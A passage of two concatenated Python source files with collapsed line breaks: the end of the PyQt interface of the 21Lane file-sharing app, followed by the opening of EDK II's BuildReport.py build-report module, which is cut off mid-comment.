# self.buttonsFrame = QFrame() # self.settingsFrame.setFrameShape(QFrame.Box); self.settingsFrame.setFrameShadow(QFrame.Plain) # self.buttonsFrame.setFrameShape(QFrame.StyledPanel); self.buttonsFrame.setFrameShadow(QFrame.Plain) # self.settingsLayout = QGridLayout() # self.settingsFrame.setLayout(self.settingsLayout) # self.buttonsLayout = QHBoxLayout() # self.buttonsFrame.setLayout(self.buttonsLayout) self.grid = QGridLayout() self.setLayout(self.grid) self.statusTip = QLabel(self); self.statusTip.setText("Welcome") self.statusTip.setStyleSheet("border: 1px solid black; padding-top: 10px;") self.grid.addWidget(self.nameLabel, 0, 0, 1, 2); self.grid.addWidget(self.nameInput, 0, 2, 1, 2) self.grid.addWidget(self.portLabel, 0, 5); self.grid.addWidget(self.portInput, 0, 6) self.grid.addWidget(self.homedirSelect, 3, 0, 1, 2); self.grid.addWidget(self.homedirInput, 3, 2, 1, 5) self.grid.addWidget(self.maxconLabel, 1, 0, 1, 4); self.grid.addWidget(self.maxconInput, 1, 5, 1, 1) self.grid.addWidget(self.maxconperipLabel, 2, 0, 1, 4); self.grid.addWidget(self.maxconperipInput, 2, 5, 1, 1) self.grid.addWidget(self.speedLabel, 4, 0, 1, 2); self.grid.addWidget(self.speedInput, 4, 2, 1, 4); self.grid.addWidget(self.speedDisplay, 4, 6) self.grid.addWidget(self.exchangeLabel, 5, 0, 1, 2); self.grid.addWidget(self.exchangeInput, 5, 2, 1, 5) self.grid.addWidget(self.itHurtsLabel, 6, 1, 1, 5) self.grid.addWidget(self.mainbtn, 7, 1, 1, 2) self.grid.addWidget(self.exchangebtn, 7, 4, 1, 2) self.grid.addWidget(self.statusTip, 8, 0, 1, 7) self.sett = load_settings() self.populateForm() # self.setFixedSize(450, 300) self.setFixedSize(self.minimumSizeHint()) self.setWindowTitle("21Lane") # self.statusBar().showMessage("Welcome") # start cap monitoring thread self.mainbtn.setEnabled(True) self.capThread = threading.Thread(target=self.capMonitor) self.capThread.start() self.cerrnotifier = CapErrorNotifier() self.cerrnotifier.s.connect(self.showCapError) self.show() def showCapError(self): if self.exchangebtn.isEnabled(): self.exchangebtn.setEnabled(False) self.exchangebtn.setStyleSheet("background-color: #bdc3c7; color: white; border: none; padding: 5px 15px;") self.exchangebtn.disconnect() QMessageBox.information(self, "Err...", "You must satisfy the minimum cap limit as per your exchange", QMessageBox.Ok, QMessageBox.Ok) def setStatusTip(self, txt): self.statusTip.setText(txt) def showDirChooser(self): dirname = QFileDialog.getExistingDirectory(self, "Select Directory") if dirname: self.homedirInput.setText(dirname) def getSpeedText(self, value): if value < 1024: return str(value)+" KBPS" elif value < 5625: return str(round(value/1024, 2))+" MBPS" else: self.speedInput.setValue(5620) return "No Limit" def downSpeedChanged(self, value): self.speedDisplay.setText(self.getSpeedText(value)) if value > 5625: if self.speedDisplay.text() == 'No Limit': return self.speedInput.setValue(5220) self.speedDisplay.setToolTip("May slow down your system.") QMessageBox.warning(self, 'Message', "No Limits on Download speed.\nThis may slow down your system if many people connect to it.", QMessageBox.Ok, QMessageBox.Ok) else: self.speedDisplay.setToolTip("") def populateForm(self): self.nameInput.setText(self.sett.server_name) self.portInput.setValue(self.sett.port) self.maxconInput.setValue(self.sett.max_cons) self.maxconperipInput.setValue(self.sett.max_cons_per_ip) self.speedInput.setValue(self.sett.max_upload_speed/1024) # display in kilobytes self.exchangeInput.setText(self.sett.exchange_url) self.homedirInput.setText(self.sett.homedir) def saveData(self): # form validator if ( (len(self.nameInput.text())==0) or \ (len(self.portInput.text())==0) or \ (len(self.homedirInput.text())==0) ): QMessageBox.information(self, "Missed it", "Please fill all the settings before starting sharing", QMessageBox.Ok, QMessageBox.Ok) return False if (not os.path.exists(self.homedirInput.text())): QMessageBox.information(self, "Caught you!", "You are trying to share a path which does not exist.\nCaught you!", QMessageBox.Ok, QMessageBox.Ok) return False self.sett.server_name = self.nameInput.text() self.sett.port = self.portInput.value() self.sett.max_cons = self.maxconInput.value() self.sett.max_cons_per_ip = self.maxconperipInput.value() self.sett.exchange_url = self.exchangeInput.text() self.sett.homedir = self.homedirInput.text() if self.speedInput.value() > 5220: self.sett.max_upload_speed = 0 else: self.sett.max_upload_speed = self.speedInput.value() * 1024 self.sett.max_download_speed = 1 self.sett.save_settings() return True def quitapp(self): global server, gen_snapshot, app_is_running mylog("quit event caught", gen_snapshot) if server: server.close_all() del self.srv mylog(self.snapshot_thread) if self.snapshot_thread: gen_snapshot = False del self.snapshot_thread sys.exit() def check_server(self, pressed): global server, gen_snapshot, server_running_status, PORT PORT = self.sett.port self.mainbtn.setEnabled(False) if not server and not server_running_status: if (self.saveData() == False): self.mainbtn.setEnabled(True) return if not is_port_available(PORT): mylog("\nPort : " + str(PORT) + " is not available\n") QMessageBox.critical(self, "Port error", "Port " + str(PORT) + " is not available.\nPlease change the port in settings.\n", QMessageBox.Ok, QMessageBox.Ok) self.mainbtn.setEnabled(True) return self.setStatusTip("Starting, please wait...") # if not server_running_status: # QMessageBox.critical(self, "Error", "Error while starting sharing.", QMessageBox.Ok, QMessageBox.Ok) # self.statusBar().showMessage("Error occured.") # return self.srv = myserver() self.srv.start() msg = "Sharing on " + get_ip_address() + ":" + str(self.srv.getport()) while not server_running_status: time.sleep(0.5) self.mainbtn.setText("Stop Sharing") self.mainbtn.setStyleSheet("background-color: #f62459; color: white; border: none; padding: 5px;") self.setStatusTip(msg) gen_snapshot = True self.exchange_connect() self.snapshot_thread = generate_system_snapshot() self.snapshot_thread.start() elif server and server_running_status: mylog("stopping server") self.setStatusTip("Stopping, please wait...") server.close_all() server_running_status = False # wait for the thread to exit # if it doesn't within given time, close it forcibly count = 4 mylog("Waiting for server thread to end") while( threading.Thread.isAlive(self.srv) and count > 0): time.sleep(0.5) count -= 1 if count == 0: mylog("Shit happens! Shutting down server forcibly.") del self.srv, server self.srv = None server = None # end snapshot generation thread if gen_snapshot: gen_snapshot = False # wait for the thread to exit while( threading.Thread.isAlive(self.snapshot_thread) ): mylog("Waiting for snapshot thread to end.") time.sleep(1) self.snapshot_thread = None self.setStatusTip("Stopped") server_running_status = False self.exchange_disconnect() self.mainbtn.setText("Start Sharing") self.mainbtn.setStyleSheet("background-color: #40e0d0; color: black; border: none; padding: 5px;")\ else: print('doing nothing') return self.mainbtn.setEnabled(True) def closeEvent(self, event): global app_is_running app_is_running = False try: if self.srv is not None: self.setStatusTip("Cleaning up") server.close_all() del self.srv global gen_snapshot if self.snapshot_thread: gen_snapshot = False del self.snapshot_thread if self.exchange_process: self.exchange_process.poll() if not self.exchange_process.returnCode: self.exchange_process.kill() del self.exchange_process self.exchange_process = None mylog('Exchange UI closed.') mylog("Cleaned up") except: pass finally: reply = QMessageBox.question(self, 'Close', "Are you sure to exit ?", QMessageBox.Yes | QMessageBox.No, QMessageBox.Yes) if reply == QMessageBox.Yes: event.accept() raise KeyboardInterrupt else: event.ignore() def capMonitor(self): global CAPERROR # self.capsignal = pyqtSignal() # self.capsignal.connect(self.showCapError) mylog("Cap monitor starts") while True and app_is_running: if CAPERROR: # QMessageBox.information(self, "Cap err..", "You must satisfy the minimum cap as per your exchange.", QMessageBox.Ok, QMessageBox.Ok) self.cerrnotifier.s.emit() CAPERROR = False # don't choke while you run time.sleep(1) mylog("Cap monitor thread quits.") def checkPortUI(self): text, ok = QInputDialog.getText(self, "Input Dialog", "Enter any port") try: port = int(text) if port < 0 or port > 65535: raise ValueError if ok: if is_port_available(int(text)): QMessageBox.information(self, 'Message', "Port is available", QMessageBox.Ok, QMessageBox.Ok) else: QMessageBox.critical(self, 'Message', "Port is unavailable", QMessageBox.Ok, QMessageBox.Ok) except ValueError: QMessageBox.warning(self, 'Error', "Port number should be a number between 0 and 65535", QMessageBox.Ok, QMessageBox.Ok) def show_help(self): url = QUrl("https://21lane.github.io/howto.html") QDesktopServices.openUrl(url) def show_git(self): url = QUrl("https://github.com/21lane/21Lane") QDesktopServices.openUrl(url) def open_exchange(self): global exchange_url uri = exchange_url self.exchange_process = subprocess.Popen([python, "exchange_client.py", uri]) def exchange_disconnect(self, signalFrom=None): global exchange_url, exchange_connect_status if not exchange_connect_status: return if not signalFrom: reply = QMessageBox.question(self, '21Exchange', "You are connected. Do you want to log out from the server?", QMessageBox.Yes | QMessageBox.No, QMessageBox.Yes) else: reply = QMessageBox.information(self, '21Exchange', "You will now be disconnected from the exchange.", QMessageBox.Ok, QMessageBox.Ok) if (reply == QMessageBox.Yes) or (reply == QMessageBox.Ok): if 'session_id' in ls(pwd): f = open('session_id', 'r') sessionid = f.read().strip() f.close() else: sessionid = '' post_data = { 'action':'disconnect' } uri = exchange_url+'/cgi-bin/actions.py' try: headers = {'user-agent':'21Lane'} r = requests.post(url=uri, data=post_data, cookies={'session_id':sessionid}, headers=headers, proxies={'socks':None, 'http':None}, timeout=5) if r.status_code == 200 and r.text.strip() == 'ok': exchange_connect_status = False QMessageBox.information(self, '21Exchange', "You have been logged out.") if 'session_id' in ls(pwd): os.remove('session_id') mylog("session_id file removed") if self.exchangebtn.isEnabled(): self.exchangebtn.setEnabled(False) self.exchangebtn.setStyleSheet("background-color: #bdc3c7; color: white; border: none; padding: 5px 15px;") self.exchangebtn.disconnect() except (requests.exceptions.ConnectionError, requests.exceptions.HTTPError, ConnectionAbortedError, requests.exceptions.Timeout) as e: QMessageBox.critical(self, 'Network error', 'Cannot connect to exchange. Sharing is up!', QMessageBox.Ok, QMessageBox.Ok) # raise e except Exception as e: # first close any open file to avoid permissions error in windows, and other similar errors try: if not f.closed: f.close() if not dest_file.closed: dest_file.close() if not source_file.closed: source_file.close except NameError: pass if 'session_id' in ls(pwd): os.remove('session_id') QMessageBox.critical(self, 'Error', "Some error occured!", QMessageBox.Ok, QMessageBox.Ok) mylog(str(e) + ' ' + 'is the error') raise e def exchange_connect(self): global server, exchange_url, PORT, exchange_connect_status if len(self.sett.exchange_url) == 0: return if not server: QMessageBox.warning(self, 'Sorry', "You must have sharing enabled to connect to an exchange.", QMessageBox.Ok, QMessageBox.Ok) return try: exchange_url = self.sett.exchange_url url = exchange_url+"/cgi-bin/actions.py" server_name = self.sett.server_name post_data = { 'action':'connect', 'server_name':server_name, 'port':PORT, 'IP':get_ip_address() } if 'session_id' in ls(pwd): f = open('session_id', 'r') ckstr = f.read() f.close() ck = ckstr.strip() else: ck = None if not ck is None: cookie_dic = {'session_id':ck} else: cookie_dic = None headers = {'user-agent':'21Lane'} r = requests.post(url, data=post_data, cookies=cookie_dic, headers=headers, proxies={'socks':None, 'http':None}, timeout=5) sessionid = None if r.status_code == 200: f = open('session_id', 'w') f.write(r.text.strip()) f.close() if r.status_code == 404: QMessageBox.warning(self, "Invalid URL", "Oops... You entered an invalid URL / host.", QMessageBox.Ok, QMessageBox.Ok) return exchange_connect_status = True if not self.exchangebtn.isEnabled(): self.exchangebtn.setEnabled(True) self.exchangebtn.setStyleSheet("background-color: #0a2c9b; color: white; border: none; padding: 5px 15px;") self.exchangebtn.clicked.connect(self.open_exchange) # self.exchangebtn.setEnabled(True) # self.exchangebtn.setStyleSheet("background-color: blue; color: white; border: none; padding: 5px;") # self.exchangebtn.clicked[bool].connect(self.open_exchange) # now upload the snapshot file, if any like a good boy # this didn't work # if ('snapshot.json' in ls(pwd) and exchange_url): # f = open('snapshot.json', 'rb') # print("uploading snapshot file") # r = requests.post(url=exchange_url, files={'filecontent':f.read()}, stream=True) # f.close() # print("snapshot file uploaded") # check whether the file is ready to be uploaded and # send a message to exchange_url, indicating the file is ready to be uploaded # if 'snapshot.json' in ls(pwd) and exchange_url: # r = requests.post(url='http://localhost:8000/cgi-bin/get_snapshot_file.py') # print(r.textn) # now trying to place the snapshot file in anonymous user's directory # to be uploaded to the exchange. # oh boy, you worked graciously, i'll keep you # fuck all the above methods.. # let them be in comments for future references # dest_dir = self.sett.homedir # dest_path = os.path.join(dest_dir, 'snapshot.json') # dest_file = open(dest_path, 'wb') # source_file = open('snapshot.json', 'rb') # dest_file.write(source_file.read()) # source_file.close() # dest_file.close() # # now notify you dad to take the parcel # mylog('Asking dad to take the parcel') # r = requests.post(url=exchange_url, data={'action':'snapshot'}, cookies={'session_id':sessionid}, timeout=5, proxies={'socks':None, 'http':None}) # # print(r.text, 'is the response for snapshot') # if r.status_code==200 and r.text.strip()=='ok': # mylog('Snapshot file uploaded successfully.') # os.remove(dest_path) # else: # mylog("Some error occured while uploading snapshot.") # uploading of snapshot is to be handled solely by snapshot thread except (requests.exceptions.ConnectionError, requests.exceptions.HTTPError, ConnectionAbortedError, requests.exceptions.Timeout) as e: QMessageBox.critical(self, 'Error', 'Network error!\nCannot connect to exchange.', QMessageBox.Ok, QMessageBox.Ok) # raise e except Exception as e: # first close any open file to avoid permissions error in windows, and other similar errors try: if not f.closed: f.close() if not dest_file.closed: dest_file.close() if not source_file.closed: source_file.close except NameError: pass if 'session_id' in ls(pwd): os.remove('session_id') QMessageBox.critical(self, 'Error', "Some error occured!", QMessageBox.Ok, QMessageBox.Ok) mylog(str(e) + ' ' + 'is the error') # raise e if __name__ == "__main__": app = QApplication([]) app.setWindowIcon(QIcon('icons/favicon.ico')) ex = MainUI() sys.exit(app.exec_())
BuildReport.py
## @file # Routines for generating build report. # # This module contains the functionality to generate build report after # build all target completes successfully. # # Copyright (c) 2010 - 2018, Intel Corporation. All rights reserved.<BR> # This program and the accompanying materials # are licensed and made available under the terms and conditions of the BSD License # which accompanies this distribution. The full text of the license may be found at # http://opensource.org/licenses/bsd-license.php # # THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, # WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. # ## Import Modules # import Common.LongFilePathOs as os import re import platform import textwrap import traceback import sys import time import struct import hashlib import subprocess import threading from datetime import datetime from io import BytesIO from Common import EdkLogger from Common.Misc import SaveFileOnChange from Common.Misc import GuidStructureByteArrayToGuidString from Common.Misc import GuidStructureStringToGuidString from Common.BuildToolError import FILE_WRITE_FAILURE from Common.BuildToolError import CODE_ERROR from Common.BuildToolError import COMMAND_FAILURE from Common.BuildToolError import FORMAT_INVALID from Common.LongFilePathSupport import OpenLongFilePath as open from Common.MultipleWorkspace import MultipleWorkspace as mws import Common.GlobalData as GlobalData from AutoGen.AutoGen import ModuleAutoGen from Common.Misc import PathClass from Common.StringUtils import NormPath from Common.DataType import * import collections from Common.Expression import * ## Pattern to extract contents in EDK DXS files gDxsDependencyPattern = re.compile(r"DEPENDENCY_START(.+)DEPENDENCY_END", re.DOTALL) ## Pattern to find total FV total size, occupied size in flash report intermediate file gFvTotalSizePattern = re.compile(r"EFI_FV_TOTAL_SIZE = (0x[0-9a-fA-F]+)") gFvTakenSizePattern = re.compile(r"EFI_FV_TAKEN_SIZE = (0x[0-9a-fA-F]+)") ## Pattern to find module size and time stamp in module summary report intermediate file gModuleSizePattern = re.compile(r"MODULE_SIZE = (\d+)") gTimeStampPattern = re.compile(r"TIME_STAMP = (\d+)") ## Pattern to find GUID value in flash description files gPcdGuidPattern = re.compile(r"PCD\((\w+)[.](\w+)\)") ## Pattern to collect offset, GUID value pair in the flash report intermediate file gOffsetGuidPattern = re.compile(r"(0x[0-9A-Fa-f]+) ([-A-Fa-f0-9]+)") ## Pattern to find module base address and entry point in fixed flash map file gModulePattern = r"\n[-\w]+\s*\(([^,]+),\s*BaseAddress=%(Address)s,\s*EntryPoint=%(Address)s\)\s*\(GUID=([-0-9A-Fa-f]+)[^)]*\)" gMapFileItemPattern = re.compile(gModulePattern % {"Address" : "(-?0[xX][0-9A-Fa-f]+)"}) ## Pattern to find all module referenced header files in source files gIncludePattern = re.compile(r'#include\s*["<]([^">]+)[">]') gIncludePattern2 = re.compile(r"#include\s+EFI_([A-Z_]+)\s*[(]\s*(\w+)\s*[)]") ## Pattern to find the entry point for EDK module using EDKII Glue library gGlueLibEntryPoint = re.compile(r"__EDKII_GLUE_MODULE_ENTRY_POINT__\s*=\s*(\w+)") ## Tags for MaxLength of line in report gLineMaxLength = 120 ## Tags for end of line in report gEndOfLine = "\r\n" ## Tags for section start, end and separator gSectionStart = ">" + "=" * (gLineMaxLength - 2) + "<" gSectionEnd = "<" + "=" * (gLineMaxLength - 2) + ">" + "\n" gSectionSep = "=" * gLineMaxLength ## Tags for subsection start, end and separator gSubSectionStart = ">" + "-" * (gLineMaxLength - 2) + "<" gSubSectionEnd = "<" + "-" * (gLineMaxLength - 2) + ">" gSubSectionSep = "-" * gLineMaxLength ## The look up table to map PCD type to pair of report display type and DEC type gPcdTypeMap = { TAB_PCDS_FIXED_AT_BUILD : ('FIXED', TAB_PCDS_FIXED_AT_BUILD), TAB_PCDS_PATCHABLE_IN_MODULE: ('PATCH', TAB_PCDS_PATCHABLE_IN_MODULE), TAB_PCDS_FEATURE_FLAG : ('FLAG', TAB_PCDS_FEATURE_FLAG), TAB_PCDS_DYNAMIC : ('DYN', TAB_PCDS_DYNAMIC), TAB_PCDS_DYNAMIC_HII : ('DYNHII', TAB_PCDS_DYNAMIC), TAB_PCDS_DYNAMIC_VPD : ('DYNVPD', TAB_PCDS_DYNAMIC), TAB_PCDS_DYNAMIC_EX : ('DEX', TAB_PCDS_DYNAMIC_EX), TAB_PCDS_DYNAMIC_EX_HII : ('DEXHII', TAB_PCDS_DYNAMIC_EX), TAB_PCDS_DYNAMIC_EX_VPD : ('DEXVPD', TAB_PCDS_DYNAMIC_EX), } ## The look up table to map module type to driver type gDriverTypeMap = { SUP_MODULE_SEC : '0x3 (SECURITY_CORE)', SUP_MODULE_PEI_CORE : '0x4 (PEI_CORE)', SUP_MODULE_PEIM : '0x6 (PEIM)', SUP_MODULE_DXE_CORE : '0x5 (DXE_CORE)', SUP_MODULE_DXE_DRIVER : '0x7 (DRIVER)', SUP_MODULE_DXE_SAL_DRIVER : '0x7 (DRIVER)', SUP_MODULE_DXE_SMM_DRIVER : '0x7 (DRIVER)', SUP_MODULE_DXE_RUNTIME_DRIVER: '0x7 (DRIVER)', SUP_MODULE_UEFI_DRIVER : '0x7 (DRIVER)', SUP_MODULE_UEFI_APPLICATION : '0x9 (APPLICATION)', SUP_MODULE_SMM_CORE : '0xD (SMM_CORE)', 'SMM_DRIVER' : '0xA (SMM)', # Extension of module type to support PI 1.1 SMM drivers SUP_MODULE_MM_STANDALONE : '0xE (MM_STANDALONE)', SUP_MODULE_MM_CORE_STANDALONE : '0xF (MM_CORE_STANDALONE)' } ## The look up table of the supported opcode in the dependency expression binaries gOpCodeList = ["BEFORE", "AFTER", "PUSH", "AND", "OR", "NOT", "TRUE", "FALSE", "END", "SOR"] ## # Writes a string to the file object. # # This function writes a string to the file object and a new line is appended # afterwards. It may optionally wraps the string for better readability. # # @File The file object to write # @String The string to be written to the file # @Wrapper Indicates whether to wrap the string # def FileWrite(File, String, Wrapper=False): if Wrapper: String = textwrap.fill(String, 120) File.write(String + gEndOfLine) def ByteArrayForamt(Value): IsByteArray = False SplitNum = 16 ArrayList = [] if Value.startswith('{') and Value.endswith('}'): Value = Value[1:-1] ValueList = Value.split(',') if len(ValueList) >= SplitNum: IsByteArray = True if IsByteArray: if ValueList: Len = len(ValueList)/SplitNum for i, element in enumerate(ValueList): ValueList[i] = '0x%02X' % int(element.strip(), 16) if Len: Id = 0 while (Id <= Len): End = min(SplitNum*(Id+1), len(ValueList)) Str = ','.join(ValueList[SplitNum*Id : End]) if End == len(ValueList): Str += '}' ArrayList.append(Str) break else: Str += ',' ArrayList.append(Str) Id += 1 else: ArrayList = [Value + '}'] return IsByteArray, ArrayList ## # Find all the header file that the module source directly includes. # # This function scans source code to find all header files the module may # include. This is not accurate but very effective to find all the header # file the module might include with #include statement. # # @Source The source file name # @IncludePathList The list of include path to find the source file. # @IncludeFiles The dictionary of current found include files. # def FindIncludeFiles(Source, IncludePathList, IncludeFiles): FileContents = open(Source).read() # # Find header files with pattern #include "XXX.h" or #include <XXX.h> # for Match in gIncludePattern.finditer(FileContents): FileName = Match.group(1).strip() for Dir in [os.path.dirname(Source)] + IncludePathList: FullFileName = os.path.normpath(os.path.join(Dir, FileName)) if os.path.exists(FullFileName): IncludeFiles[FullFileName.lower().replace("\\", "/")] = FullFileName break # # Find header files with pattern like #include EFI_PPI_CONSUMER(XXX) # for Match in gIncludePattern2.finditer(FileContents): Key = Match.group(2) Type = Match.group(1) if "ARCH_PROTOCOL" in Type: FileName = "ArchProtocol/%(Key)s/%(Key)s.h" % {"Key" : Key} elif "PROTOCOL" in Type: FileName = "Protocol/%(Key)s/%(Key)s.h" % {"Key" : Key} elif "PPI" in Type: FileName = "Ppi/%(Key)s/%(Key)s.h" % {"Key" : Key} elif TAB_GUID in Type: FileName = "Guid/%(Key)s/%(Key)s.h" % {"Key" : Key} else: continue for Dir in IncludePathList: FullFileName = os.path.normpath(os.path.join(Dir, FileName)) if os.path.exists(FullFileName): IncludeFiles[FullFileName.lower().replace("\\", "/")] = FullFileName break ## Split each lines in file # # This method is used to split the lines in file to make the length of each line # less than MaxLength. # # @param Content The content of file # @param MaxLength The Max Length of the line # def FileLinesSplit(Content=None, MaxLength=None): ContentList = Content.split(TAB_LINE_BREAK) NewContent = '' NewContentList = [] for Line in ContentList: while len(Line.rstrip()) > MaxLength: LineSpaceIndex = Line.rfind(TAB_SPACE_SPLIT, 0, MaxLength) LineSlashIndex = Line.rfind(TAB_SLASH, 0, MaxLength) LineBackSlashIndex = Line.rfind(TAB_BACK_SLASH, 0, MaxLength) if max(LineSpaceIndex, LineSlashIndex, LineBackSlashIndex) > 0: LineBreakIndex = max(LineSpaceIndex, LineSlashIndex, LineBackSlashIndex) else: LineBreakIndex = MaxLength NewContentList.append(Line[:LineBreakIndex]) Line = Line[LineBreakIndex:] if Line: NewContentList.append(Line) for NewLine in NewContentList: NewContent += NewLine + TAB_LINE_BREAK NewContent = NewContent.replace(TAB_LINE_BREAK, gEndOfLine).replace('\r\r\n', gEndOfLine) return NewContent ## # Parse binary dependency expression section # # This utility class parses the dependency expression section and translate the readable # GUID name and value. # class DepexParser(object): ## # Constructor function for class DepexParser # # This constructor function collect GUID values so that the readable # GUID name can be translated. # # @param self The object pointer # @param Wa Workspace context information # def __init__(self, Wa): self._GuidDb = {} for Pa in Wa.AutoGenObjectList: for Package in Pa.PackageList: for Protocol in Package.Protocols: GuidValue = GuidStructureStringToGuidString(Package.Protocols[Protocol]) self._GuidDb[GuidValue.upper()] = Protocol for Ppi in Package.Ppis: GuidValue = GuidStructureStringToGuidString(Package.Ppis[Ppi]) self._GuidDb[GuidValue.upper()] = Ppi for Guid in Package.Guids: GuidValue = GuidStructureStringToGuidString(Package.Guids[Guid]) self._GuidDb[GuidValue.upper()] = Guid ## # Parse the binary dependency expression files. # # This function parses the binary dependency expression file and translate it # to the instruction list. # # @param self The object pointer # @param DepexFileName The file name of binary dependency expression file. # def ParseDepexFile(self, DepexFileName): DepexFile = open(DepexFileName, "rb") DepexStatement = [] OpCode = DepexFile.read(1) while OpCode: Statement = gOpCodeList[struct.unpack("B", OpCode)[0]] if Statement in ["BEFORE", "AFTER", "PUSH"]: GuidValue = "%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X" % \ struct.unpack(PACK_PATTERN_GUID, DepexFile.read(16)) GuidString = self._GuidDb.get(GuidValue, GuidValue) Statement = "%s %s" % (Statement, GuidString) DepexStatement.append(Statement) OpCode = DepexFile.read(1) return DepexStatement ## # Reports library information # # This class reports the module library subsection in the build report file. # class LibraryReport(object): ## # Constructor function for class LibraryReport # # This constructor function generates LibraryReport object for # a module. # # @param self The object pointer # @param M Module context information # def __init__(self, M): self.LibraryList = [] if int(str(M.AutoGenVersion), 0) >= 0x00010005: self._EdkIIModule = True else: self._EdkIIModule = False for Lib in M.DependentLibraryList: LibInfPath = str(Lib) LibClassList = Lib.LibraryClass[0].LibraryClass LibConstructorList = Lib.ConstructorList LibDesstructorList = Lib.DestructorList LibDepexList = Lib.DepexExpression[M.Arch, M.ModuleType] for LibAutoGen in M.LibraryAutoGenList: if LibInfPath == LibAutoGen.MetaFile.Path: LibTime = LibAutoGen.BuildTime break self.LibraryList.append((LibInfPath, LibClassList, LibConstructorList, LibDesstructorList, LibDepexList, LibTime)) ## # Generate report for module library information # # This function generates report for the module library. # If the module is EDKII style one, the additional library class, library # constructor/destructor and dependency expression may also be reported. # # @param self The object pointer # @param File The file object for report # def GenerateReport(self, File): if len(self.LibraryList) > 0: FileWrite(File, gSubSectionStart) FileWrite(File, TAB_BRG_LIBRARY) FileWrite(File, gSubSectionSep) for LibraryItem in self.LibraryList: LibInfPath = LibraryItem[0] FileWrite(File, LibInfPath) # # Report library class, library constructor and destructor for # EDKII style module. # if self._EdkIIModule: LibClass = LibraryItem[1] EdkIILibInfo = "" LibConstructor = " ".join(LibraryItem[2]) if LibConstructor: EdkIILibInfo += " C = " + LibConstructor LibDestructor = " ".join(LibraryItem[3]) if LibDestructor: EdkIILibInfo += " D = " + LibDestructor LibDepex = " ".join(LibraryItem[4]) if LibDepex: EdkIILibInfo += " Depex = " + LibDepex if LibraryItem[5]: EdkIILibInfo += " Time = " + LibraryItem[5] if EdkIILibInfo: FileWrite(File, "{%s: %s}" % (LibClass, EdkIILibInfo)) else: FileWrite(File, "{%s}" % LibClass) FileWrite(File, gSubSectionEnd) ## # Reports dependency expression information # # This class reports the module dependency expression subsection in the build report file. # class DepexReport(object): ## # Constructor function for class DepexReport # # This constructor function generates DepexReport object for # a module. If the module source contains the DXS file (usually EDK # style module), it uses the dependency in DXS file; otherwise, # it uses the dependency expression from its own INF [Depex] section # and then merges with the ones from its dependent library INF. # # @param self The object pointer # @param M Module context information # def __init__(self, M): self.Depex = "" self._DepexFileName = os.path.join(M.BuildDir, "OUTPUT", M.Module.BaseName + ".depex") ModuleType = M.ModuleType if not ModuleType: ModuleType = COMPONENT_TO_MODULE_MAP_DICT.get(M.ComponentType, "") if ModuleType in [SUP_MODULE_SEC, SUP_MODULE_PEI_CORE, SUP_MODULE_DXE_CORE, SUP_MODULE_SMM_CORE, SUP_MODULE_MM_CORE_STANDALONE, SUP_MODULE_UEFI_APPLICATION]: return for Source in M.SourceFileList: if os.path.splitext(Source.Path)[1].lower() == ".dxs": Match = gDxsDependencyPattern.search(open(Source.Path).read()) if Match: self.Depex = Match.group(1).strip() self.Source = "DXS" break else: self.Depex = M.DepexExpressionDict.get(M.ModuleType, "") self.ModuleDepex = " ".join(M.Module.DepexExpression[M.Arch, M.ModuleType]) if not self.ModuleDepex: self.ModuleDepex = "(None)" LibDepexList = [] for Lib in M.DependentLibraryList: LibDepex = " ".join(Lib.DepexExpression[M.Arch, M.ModuleType]).strip() if LibDepex != "": LibDepexList.append("(" + LibDepex + ")") self.LibraryDepex = " AND ".join(LibDepexList) if not self.LibraryDepex: self.LibraryDepex = "(None)" self.Source = "INF" ## # Generate report for module dependency expression information # # This function generates report for the module dependency expression. # # @param self The object pointer # @param File The file object for report # @param GlobalDepexParser The platform global Dependency expression parser object # def GenerateReport(self, File, GlobalDepexParser): if not self.Depex: return FileWrite(File, gSubSectionStart) if os.path.isfile(self._DepexFileName): try: DepexStatements = GlobalDepexParser.ParseDepexFile(self._DepexFileName) FileWrite(File, "Final Dependency Expression (DEPEX) Instructions") for DepexStatement in DepexStatements: FileWrite(File, " %s" % DepexStatement) FileWrite(File, gSubSectionSep) except: EdkLogger.warn(None, "Dependency expression file is corrupted", self._DepexFileName) FileWrite(File, "Dependency Expression (DEPEX) from %s" % self.Source) if self.Source == "INF": FileWrite(File, self.Depex, True) FileWrite(File, gSubSectionSep) FileWrite(File, "From Module INF: %s" % self.ModuleDepex, True) FileWrite(File, "From Library INF: %s" % self.LibraryDepex, True) else: FileWrite(File, self.Depex) FileWrite(File, gSubSectionEnd) ## # Reports dependency expression information # # This class reports the module build flags subsection in the build report file. # class BuildFlagsReport(object): ## # Constructor function for class BuildFlagsReport # # This constructor function generates BuildFlagsReport object for # a module. It reports the build tool chain tag and all relevant # build flags to build the module. # # @param self The object pointer # @param M Module context information # def __init__(self, M): BuildOptions = {} # # Add build flags according to source file extension so that # irrelevant ones can be filtered out. # for Source in M.SourceFileList: Ext = os.path.splitext(Source.File)[1].lower() if Ext in [".c", ".cc", ".cpp"]: BuildOptions["CC"] = 1 elif Ext in [".s", ".asm"]: BuildOptions["PP"] = 1 BuildOptions["ASM"] = 1 elif Ext in [".vfr"]: BuildOptions["VFRPP"] = 1 BuildOptions["VFR"] = 1 elif Ext in [".dxs"]: BuildOptions["APP"] = 1 BuildOptions["CC"] = 1 elif Ext in [".asl"]: BuildOptions["ASLPP"] = 1 BuildOptions["ASL"] = 1 elif Ext in [".aslc"]: BuildOptions["ASLCC"] = 1 BuildOptions["ASLDLINK"] = 1 BuildOptions["CC"] = 1 elif Ext in [".asm16"]: BuildOptions["ASMLINK"] = 1 BuildOptions["SLINK"] = 1 BuildOptions["DLINK"] = 1 # # Save module build flags. # self.ToolChainTag = M.ToolChain self.BuildFlags = {} for Tool in BuildOptions: self.BuildFlags[Tool + "_FLAGS"] = M.BuildOption.get(Tool, {}).get("FLAGS", "") ## # Generate report for module build flags information # # This function generates report for the module build flags expression. # # @param self The object pointer # @param File The file object for report # def GenerateReport(self, File): FileWrite(File, gSubSectionStart) FileWrite(File, "Build Flags") FileWrite(File, "Tool Chain Tag: %s" % self.ToolChainTag) for Tool in self.BuildFlags: FileWrite(File, gSubSectionSep) FileWrite(File, "%s = %s" % (Tool, self.BuildFlags[Tool]), True) FileWrite(File, gSubSectionEnd) ## # Reports individual module information # # This class reports the module section in the build report file. # It comprises of module summary, module PCD, library, dependency expression, # build flags sections. # class ModuleReport(object): ## # Constructor function for class ModuleReport # # This constructor function generates 